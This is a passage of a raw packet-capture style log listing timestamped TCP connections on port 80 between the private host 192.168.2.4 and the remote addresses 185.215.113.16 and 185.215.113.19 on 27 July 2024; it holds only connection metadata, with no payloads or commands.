Jul 27, 2024 05:39:04.533628941 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.533674002 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.555191994 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.555242062 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.555277109 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.555309057 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.555345058 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.555449963 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.555450916 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.555450916 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.555450916 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.555450916 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.617994070 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.618047953 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.618197918 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.618197918 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666359901 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666469097 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666487932 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666518927 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666569948 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666604042 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666625977 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666665077 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666680098 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666709900 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666728973 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666768074 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666781902 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666812897 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666831970 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666861057 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666878939 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666918039 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666932106 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.666960001 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.666979074 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667011976 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667027950 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667061090 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667083979 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667114019 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667148113 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667167902 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667236090 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667267084 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667298079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667325020 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667345047 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667382002 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667395115 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667423964 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667443991 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667481899 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667506933 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667540073 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667562008 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667583942 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667623997 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667656898 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667684078 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667711020 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667731047 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667763948 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667792082 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667812109 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667864084 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667896986 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.667922020 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667941093 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.667968035 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668003082 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668029070 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668051958 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668070078 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668118000 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668184042 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668234110 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668253899 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668282986 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668303967 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668345928 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668370008 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668401003 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668430090 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668453932 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668469906 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668530941 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668577909 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668610096 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668637037 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668665886 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668680906 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668714046 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668740034 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668765068 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.668786049 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.668843031 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669096947 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669157982 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669234037 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669281006 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669301987 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669332027 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669352055 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669380903 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669400930 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669433117 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669449091 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669480085 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669509888 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669532061 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669549942 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669580936 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669606924 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669626951 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669651031 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669686079 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.669708967 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.669732094 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670126915 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670157909 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670187950 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670203924 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670242071 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670272112 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670299053 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670319080 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670340061 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670372009 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670399904 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670422077 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.670439959 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.670496941 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.710643053 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.710669041 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.710685015 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.710700989 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.710820913 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.710820913 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.710822105 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.758955002 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759021997 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759059906 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759104013 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759155989 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759190083 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759211063 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759212017 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759238958 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759254932 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759284019 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759316921 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759342909 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759362936 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759386063 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759418011 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759443045 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759470940 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759490013 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759521008 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759542942 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759568930 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759593010 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759624958 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759644985 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759668112 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759694099 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759730101 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759748936 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759779930 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759799957 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759828091 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759849072 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759898901 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.759917021 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759974003 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.759987116 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760016918 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760035992 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760065079 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760085106 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760117054 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760137081 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760164022 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760189056 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760221004 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760238886 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760277987 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760292053 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760322094 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760343075 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760379076 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760391951 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760421038 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760442972 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760478973 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760518074 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760555983 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760572910 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760603905 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760624886 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760649920 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760674953 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760713100 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.760731936 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.760760069 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814543009 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814611912 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814649105 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814682961 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814716101 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814748049 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814789057 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814790010 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814790010 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814790010 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814790010 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814831972 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814865112 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814897060 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.814924002 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814961910 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.814987898 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815021038 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815038919 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815078020 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815104008 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815150023 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815181017 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815193892 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815206051 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815232992 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815263987 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815291882 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815324068 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815342903 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815342903 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815392971 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815431118 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815483093 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815502882 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815532923 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815551996 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815584898 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815599918 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815633059 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815655947 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815687895 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815701962 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815731049 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815749884 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815781116 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815798998 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815829992 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815850019 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815880060 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815897942 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.815948963 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.815965891 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816024065 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816037893 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816066980 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816085100 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816114902 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816133976 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816164970 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816189051 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816220999 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816237926 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816268921 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816294909 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816313028 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816342115 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816373110 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816390991 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816420078 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.816442966 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.816512108 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:04.851003885 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:04.851083040 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:05.577472925 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:05.578150988 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:05.582964897 CEST	80	49475	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:05.582986116 CEST	80	49473	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:05.583058119 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:05.583220005 CEST	49473	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:05.584774017 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:05.589781046 CEST	80	49475	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:06.366697073 CEST	80	49475	185.215.113.19	192.168.2.4
Jul 27, 2024 05:39:06.367038012 CEST	49475	80	192.168.2.4	185.215.113.19
Jul 27, 2024 05:39:06.369299889 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:06.369607925 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:06.375020027 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:06.375363111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:06.375519991 CEST	80	49474	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:06.375813961 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:06.375814915 CEST	49474	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:06.381934881 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135123014 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135171890 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135205984 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135237932 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135282040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135282040 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135315895 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135344028 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135376930 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135396957 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135421038 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135447979 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135478973 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135510921 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135531902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135562897 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.135601997 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.135602951 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.136692047 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.140558958 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.140593052 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.140657902 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.140690088 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282171965 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282224894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282248020 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282275915 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282300949 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282330990 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282351971 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282385111 CEST	49476	80	192.168.2.4	185.215.113.16
Jul 27, 2024 05:39:07.282407999 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282435894 CEST	80	49476	185.215.113.16	192.168.2.4
Jul 27, 2024 05:39:07.282475948 CEST	49476	80	192.168.2.4	185.215.113.16
